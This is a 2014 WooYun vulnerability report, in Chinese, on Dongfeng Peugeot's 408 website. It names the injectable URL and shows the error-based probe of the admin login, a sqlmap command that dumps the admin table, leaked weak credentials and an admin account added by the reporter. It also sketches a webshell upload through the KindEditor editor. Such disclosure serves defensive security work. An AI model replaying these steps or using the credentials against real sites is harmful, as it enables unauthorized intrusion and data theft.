当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-070189

漏洞标题：东风标致某业务后台盲注及弱口令导致后台沦陷可getshell

相关厂商：东风标志

漏洞作者： Ev1l

提交时间：2014-07-30 16:45

修复时间：2014-09-13 16:46

公开时间：2014-09-13 16:46

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-30： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-09-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看到有一个标志的sql前台注入了，我就继续研究了一下我来发个后台，来看看吧，希望不要忽略，我的全胜纪录怎么能到此为止……

详细说明：

#01 注入
还是原洞主的注入点可以用

http://408.peugeot.com.cn/show.php?cid=57


注入点可以直接用，但如果提交这个不就重复了吗？我们要的是别的思路
#02盲注
我们登录后台（怎么找到的？当然是猜的）
看到一个比较格录的……（今天看pkav的教程时候想到了后台注入）

01.png


然后试一下 admin' admin 结果就报错了……很遗憾没有物理路径，要不然配合原洞主的注入就可以sqlmap写shell了。

02.png


后台注入到此为止吧……我也不太擅长手工，但是从这里我们发现了一些信息

Database error: Invalid SQL: SELECT id FROM `p_admin` WHERE username = 'admin'' AND password = 'admin' AND stat = 1 
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' AND stat = 1' at line 1)
Session halted.


数据库类型mysql
密码表名 p_admin
用户名字段：username
密码字段：password
物理路径还是无法获得。
#03 脱裤
sqlmap不解释……估计前洞主没有列数据库，要不然会发现整个主站都是在同一个mysql里
一共32个库，可以脱裤

available databases [32]:
[*] 2014happy
[*] 24hours
[*] 3015db
[*] 308
[*] 308powertogo
[*] 50db
[*] biaozhidashisai
[*] happy3008
[*] hei3008
[*] hobby
[*] information_schema
[*] lemans
[*] mysql
[*] performance_schema
[*] peugeot301
[*] peugeot408
[*] peugeot_2008_m
[*] peugeot_3008
[*] peugeot_3008_1year
[*] peugeot_3008_1year_m
[*] peugeot_3008_3D
[*] peugeot_3008_happy
[*] peugeot_408_jy
[*] peugeot_408im
[*] peugeot_club_35group_2
[*] peugeot_cn
[*] puzzlegame
[*] rcz
[*] sport
[*] team
[*] test
[*] zhengyan


我们根据经验判断是peugeot408这个表，然后表段和字段我们在第二部里都知道了，就直接构造语句

# Sqlmap -u http://408.peugeot.com.cn/show.php?cid=57 -D peogeot40
8 -T p_admin -C username,password --dump


我们发现竟然是弱口令……
admin 408408
test test
继续成功登陆后台

03.png


#04 猜想
后台存在kindeditor编辑器，可直接上传，审查元素获得webshell

漏洞证明：

后台管理加了一个wooyun wooyun

修复方案：

多检测一下吧，漏洞挺多的 没猜错还有xss

版权声明：转载请注明来源 Ev1l@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝